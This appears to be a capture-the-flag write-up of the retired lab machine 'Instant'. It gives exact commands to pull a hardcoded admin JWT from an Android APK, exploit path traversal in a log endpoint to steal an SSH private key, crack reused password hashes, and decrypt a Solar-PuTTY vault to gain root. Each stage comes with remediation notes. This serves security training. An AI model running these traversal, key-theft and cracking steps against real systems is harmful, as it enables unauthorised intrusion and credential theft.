Instant
Summary
I downloaded and reverse-engineered the target's Android wallet app, recovering a hardcoded admin API token and hidden internal hostnames. That token unlocked an admin log-viewer endpoint with no path validation, which was abused to read the SSH private key straight off the server's filesystem, giving a foothold as the developer account 'shirohige' and the user flag.
Its vault password turned out to be the same weak password protecting an application account, whose hash was crackable from the app's own database. Cracking that hash unlocked the PuTTY vault, exposing root's password and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <admin-jwt-from-apk>, <cracked-password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Resolve the main vhost first.
$ echo "$TARGET instant.htb" | sudo tee -a /etc/hostsConfirm only 22/tcp (ssh) and 80/tcp (http, Apache 2.4.58) are open.
$ nmap -sC -sV -p- $TARGETDownload the client the site offers.
$ curl -sS http://instant.htb/instant.apk -o instant.apkRecover hidden vhosts, admin endpoints, and the embedded JWT.
$ apktool d -o instant-apktool instant.apk && grep -RInE 'mywalletv1|swagger-ui|Bearer|eyJ[A-Za-z0-9_-]+\.|AdminActivities|/api/v1/admin|read/log' instant-apktoolFixNever ship long-lived privileged tokens inside a distributed mobile appCritical
Exact commands 3
Resolve the internal vhosts found in the APK.
$ echo "$TARGET swagger-ui.instant.htb mywalletv1.instant.htb" | sudo tee -a /etc/hostsPull the OpenAPI spec.
$ curl --resolve swagger-ui.instant.htb:80:$TARGET -fsS http://swagger-ui.instant.htb/apispec_1.json -o apispec.jsonList every route and its parameters.
$ jq -r '.paths | to_entries[] | .key as $p | .value | to_entries[] | [$p,.key,((.value.parameters // [])|map(.name+":"+(.in//""))|join(","))] | @tsv' apispec.jsonExact commands 2
Traverse out of the logs directory to the .ssh folder; substitute the JWT recovered from the APK.
$ curl --resolve mywalletv1.instant.htb:80:$TARGET -sS -H 'Authorization: Bearer <admin-jwt-from-apk>' --get --data-urlencode 'log_file_name=../.ssh/id_rsa' http://mywalletv1.instant.htb/api/v1/admin/read/log -o id_rsa.jsonExtract the raw key material from the JSON response.
$ jq -r 'to_entries[] | select(.key|contains("id_rsa")) | .value | join("")' id_rsa.json > shirohige_id_rsa && chmod 600 shirohige_id_rsaFixValidate and sandbox filenames on the admin log-read endpointCritical
Exact commands 2
Confirm the shell and prove the access level (uid=1001).
$ ssh -i shirohige_id_rsa shirohige@$TARGET id
uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)Read the user flag; the real value is <user.txt>.
$ ssh -i shirohige_id_rsa shirohige@$TARGET cat /home/shirohige/user.txtExact commands 2
Confirm the backup file exists and its permissive mode.
$ ssh -i shirohige_id_rsa shirohige@$TARGET find /opt/backups/Solar-PuTTY -maxdepth 3 -type f -printf '%M %u %g %s %p\n'Pull a local working copy for offline decryption.
$ scp -i shirohige_id_rsa shirohige@$TARGET:/opt/backups/Solar-PuTTY/sessions-backup.dat .FixRestrict permissions on credential-manager backups and avoid storing them unprotectedHigh
Exact commands 3
Pull the stored Werkzeug PBKDF2 hashes from the app database.
$ ssh -i shirohige_id_rsa shirohige@$TARGET 'sqlite3 /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db "select username,password from user;"'-m 10900 = PBKDF2-HMAC-SHA256; crack the weak/reused application password.
$ hashcat -m 10900 -a 0 werkzeug_hashes.txt /usr/share/wordlists/rockyou.txtDecrypt the Solar-PuTTY vault with the recovered password to reveal saved sessions/credentials, including root's.
$ python3 SolarPuttyDecrypt.py -f sessions-backup.dat -p '<cracked-password>'FixEliminate weak/reused passwords and password-based root loginCritical
Exact commands 4
Open an interactive (pty) SSH session — su requires a real tty for the password prompt.
$ ssh -tt -i shirohige_id_rsa shirohige@$TARGETAt the shell prompt, switch to root; enter the password recovered from the vault when prompted.
$ su -Prove escalation: expect uid=0(root).
$ id
uid=0(root) gid=0(root) groups=0(root)Read the root flag; the real value is <root.txt>.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.58 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.